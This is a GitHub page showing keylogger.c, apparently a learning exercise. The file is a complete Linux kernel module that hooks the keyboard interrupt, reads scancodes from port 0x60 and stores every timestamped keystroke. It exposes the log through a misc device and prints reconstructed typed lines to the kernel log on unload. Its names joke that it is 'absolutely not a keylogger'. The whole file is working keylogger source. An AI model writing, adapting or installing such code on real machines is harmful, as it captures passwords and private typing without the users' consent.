-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.c
371 lines (335 loc) · 9.54 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
// SPDX-License-Identifier: GPL-3.0-only
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/mutex.h>
#include <linux/interrupt.h>
#include <linux/io.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Romain Kowalski");
MODULE_DESCRIPTION("Absolutely not a keylogger.");
#define MODULE_NAME "not_a_keylogger"
#define DEVICE_NAME "definitely_not_key_logs"
#define LINE_SIZE 50
#define FULL_NAME_SIZE 20
struct key_stroke {
unsigned char scancode;
char full_name[FULL_NAME_SIZE];
bool pressed; // 1 = pressed, 0 = released
ktime_t time;
};
struct work_data {
struct work_struct work_struct;
unsigned char scancode;
bool l_shift;
bool r_shift;
bool caps;
struct mutex keys_mutex;
struct key_stroke *captured_keys;
size_t captured_size;
size_t captured_max_size;
};
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"ESCAPE", "ESCAPE"}, {"1", "!"}, {"2", "@"},
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
{"-", "_"}, {"=", "+"}, {"BACKSPACE", "BACKSPACE"}, {"TAB", "TAB"},
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
{"ENTER", "ENTER"}, {"CTRL L", "CTRL L"}, {"a", "A"}, {"s", "S"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
{"'", "\""}, {"`", "~"}, {"SHIFT L", "SHIFT L"}, {"\\", "|"},
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
{".", ">"}, {"/", "?"}, {"SHIFT R", "SHIFT R"}, {"KP *", "KP PRINT SCREEN"},
{"ALT L", "ALT L"}, {"SPACE", "SPACE"}, {"CAPS LOCK", "CAPS LOCK"},
{"F1", "F1"}, {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, {"F10", "F10"},
{"NUM", "NUM"}, {"SCROLL", "SCROLL"}, {"KP 7", "HOME"},
{"KP 8", "KP UP"}, {"KP 9", "KP PAGE UP"}, {"-", "-"}, {"KP 4", "KP LEFT"},
{"KP 5", "KP 5"}, {"KP 6", "KP RIGHT"}, {"+", "+"}, {"KP 1", "KP END"},
{"KP 2", "KP DOWN"}, {"KP 3", "KP PAGE DOWN"}, {"KP 0", "KP INSERT"},
{"KP .", "KP DELETE"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"},
{"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"ENTER", "ENTER"}, {"CTRL R", "CTRL R"}, {"/", "/"}, {"PRTSCR", "PRTSCR"},
{"ALT R", "ALT R"}, {"\0", "\0"}, {"HOME", "HOME"}, {"UP", "UP"},
{"PAGE UP", "PAGE UP"}, {"LEFT", "LEFT"}, {"RIGHT", "RIGHT"},
{"END", "END"}, {"DOWN", "DOWN"}, {"PAGE DOWN", "PAGE DOWN"},
{"INSERT", "INSERT"}, {"DELETE", "DELETE"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"PAUSE", "PAUSE"},
};
static struct work_data work_data;
static char *log_file;
static struct mutex log_mutex;
static int ktime_to_hours(ktime_t time)
{
int hours;
hours = time / 1000000000; // seconds
hours /= 60; // minutes
hours /= 60; // hours
hours = hours % 24;
return hours;
}
static int ktime_to_minutes(ktime_t time)
{
int minutes;
minutes = time / 1000000000; // seconds
minutes /= 60; // minutes
minutes = minutes % 60;
return minutes;
}
static int ktime_to_seconds(ktime_t time)
{
int seconds;
seconds = time / 1000000000; // seconds
seconds = seconds % 60; // minutes
return seconds;
}
static void key_stroke_to_buffer(struct key_stroke entry, char *buffer,
size_t len)
{
int hours;
int minutes;
int seconds;
char format[] = "[%2d:%02d:%02d] %s (%d) %s\n";
hours = ktime_to_hours(entry.time);
minutes = ktime_to_minutes(entry.time);
seconds = ktime_to_seconds(entry.time);
snprintf(buffer, len, format, hours, minutes, seconds, entry.full_name,
entry.scancode, (entry.pressed ? "Pressed" : "Released"));
}
void save_key_stroke(struct work_data *wd)
{
int scancode;
int pressed;
scancode = wd->scancode & 0x7F;
pressed = !(wd->scancode & 0x80);
if (scancode > 120)
return;
mutex_lock(&wd->keys_mutex);
if (wd->captured_size == wd->captured_max_size) {
wd->captured_keys = krealloc_array(wd->captured_keys,
wd->captured_max_size * 2, sizeof(struct key_stroke),
GFP_KERNEL);
if (!wd->captured_keys) {
pr_err("%s: krealloc_array error", MODULE_NAME);
mutex_unlock(&wd->keys_mutex);
return;
}
wd->captured_max_size *= 2;
}
wd->captured_keys[wd->captured_size].scancode = scancode;
wd->captured_keys[wd->captured_size].pressed = pressed;
wd->captured_keys[wd->captured_size].time = ktime_get_real();
strscpy(wd->captured_keys[wd->captured_size].full_name,
us_keymap[scancode][(wd->l_shift | wd->r_shift) ^ wd->caps],
FULL_NAME_SIZE);
wd->captured_size++;
mutex_unlock(&wd->keys_mutex);
}
void bottom_half(struct work_struct *work)
{
unsigned char pressed;
unsigned char keycode;
struct work_data *wd;
wd = container_of(work, struct work_data, work_struct);
pressed = wd->scancode & 0x80;
keycode = wd->scancode & 0x7F;
save_key_stroke(wd);
if (keycode == 42) { // left shift
if (!pressed)
wd->l_shift = true;
else
wd->l_shift = false;
}
else if (keycode == 54) { // right shift
if (!pressed)
wd->r_shift = true;
else
wd->r_shift = false;
}
else if (keycode == 58) {
if (!pressed)
wd->caps = !wd->caps;
}
}
static irqreturn_t key_pressed(int irq, void *dummy)
{
work_data.scancode = inb(0x60);
schedule_work(&work_data.work_struct);
return IRQ_HANDLED;
}
// 96 and 28 are RETURN scancodes
static int next_return(int start)
{
while (start < work_data.captured_size &&
((work_data.captured_keys[start].scancode != 96 &&
work_data.captured_keys[start].scancode != 28) ||
!work_data.captured_keys[start].pressed))
start++;
return start;
}
static void fill_line(char *line, int start, int end)
{
int i = 0;
while (start < end) {
if (work_data.captured_keys[start].pressed &&
work_data.captured_keys[start].scancode == 57) {
line[i] = ' ';
i++;
}
if (work_data.captured_keys[start].scancode < 120 &&
work_data.captured_keys[start].pressed &&
strnlen(work_data.captured_keys[start].full_name,
FULL_NAME_SIZE) == 1) {
line[i] = work_data.captured_keys[start].full_name[0];
i++;
}
start++;
}
line[i] = '\0';
}
static void print_readable(void)
{
int start = 0;
int end = 0;
char *line = NULL;
pr_info("Full readable logs:");
while (end < work_data.captured_size) {
end = next_return(start);
line = kmalloc(end - start + 1, GFP_KERNEL);
if (!line) {
pr_err("%s: kmalloc error", MODULE_NAME);
return;
}
fill_line(line, start, end);
if (strlen(line))
pr_info("%s", line);
kfree(line);
end++;
start = end;
}
}
static ssize_t logs_read(struct file *filp, char __user *buffer, size_t len,
loff_t *offset)
{
int ret = 0;
mutex_lock(&log_mutex);
if (log_file)
ret = simple_read_from_buffer(buffer, len, offset, log_file,
strlen(log_file));
mutex_unlock(&log_mutex);
return ret;
}
static int logs_open(struct inode *inode, struct file *file)
{
int log_len;
char line[LINE_SIZE];
int i;
try_module_get(THIS_MODULE);
kfree(log_file);
log_len = 0;
i = 0;
while (i < work_data.captured_size) {
mutex_lock(&work_data.keys_mutex);
key_stroke_to_buffer(work_data.captured_keys[i], line,
LINE_SIZE);
mutex_unlock(&work_data.keys_mutex);
mutex_lock(&log_mutex);
if (log_file)
log_len = strlen(log_file);
log_file = krealloc_array(log_file, log_len + strlen(line) + 1,
sizeof(char), GFP_KERNEL);
if (!log_file) {
mutex_unlock(&log_mutex);
pr_err("%s: krealloc_array error\n", MODULE_NAME);
module_put(THIS_MODULE);
return 1;
}
mutex_unlock(&log_mutex);
if (log_len == 0)
log_len = strscpy(log_file, line, strlen(line) + 1);
else
strncat(log_file, line, strlen(line));
i++;
}
return 0;
}
static int logs_close(struct inode *inode, struct file *file)
{
if (module_refcount(THIS_MODULE) == 1) {
mutex_lock(&log_mutex);
kfree(log_file);
log_file = NULL;
mutex_unlock(&log_mutex);
}
module_put(THIS_MODULE);
return 0;
}
static struct file_operations logs_fops = {
.open = &logs_open,
.release = &logs_close,
.read = &logs_read,
};
static struct miscdevice logs_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = DEVICE_NAME,
.fops = &logs_fops
};
static int __init kl_init(void)
{
int ret;
ret = misc_register(&logs_device);
if (ret) {
pr_err("%s: Loading module failed\n", MODULE_NAME);
return -ret;
}
ret = request_irq(1, key_pressed, IRQF_SHARED,
"what?_no_its_not_a_kelogger_wdym",
(void *)(key_pressed));
if (ret) {
pr_err("%s: Registering IRQ failed\n", MODULE_NAME);
goto err_free_irq;
}
work_data.captured_max_size = 10;
work_data.captured_keys = kmalloc_array(work_data.captured_max_size,
sizeof(struct key_stroke), GFP_KERNEL);
if (!work_data.captured_keys) {
pr_err("%s: allocation of captured_keys array failed\n",
MODULE_NAME);
goto err_free_misc;
}
log_file = NULL;
work_data.l_shift = false;
work_data.r_shift = false;
work_data.caps = false;
mutex_init(&log_mutex);
mutex_init(&work_data.keys_mutex);
INIT_WORK(&work_data.work_struct, bottom_half);
pr_info("%s: IRQ registered\n", MODULE_NAME);
pr_info("%s: Module loaded\n", MODULE_NAME);
return 0;
err_free_misc:
misc_deregister(&logs_device);
err_free_irq:
free_irq(1, key_pressed);
return ret;
}
static void __exit kl_cleanup(void)
{
flush_work(&work_data.work_struct);
print_readable();
misc_deregister(&logs_device);
kfree(log_file);
kfree(work_data.captured_keys);
free_irq(1, key_pressed);
pr_info("%s: IRQ unregistered\n", MODULE_NAME);
pr_info("%s: Module unloaded\n", MODULE_NAME);
}
module_init(kl_init);
module_exit(kl_cleanup);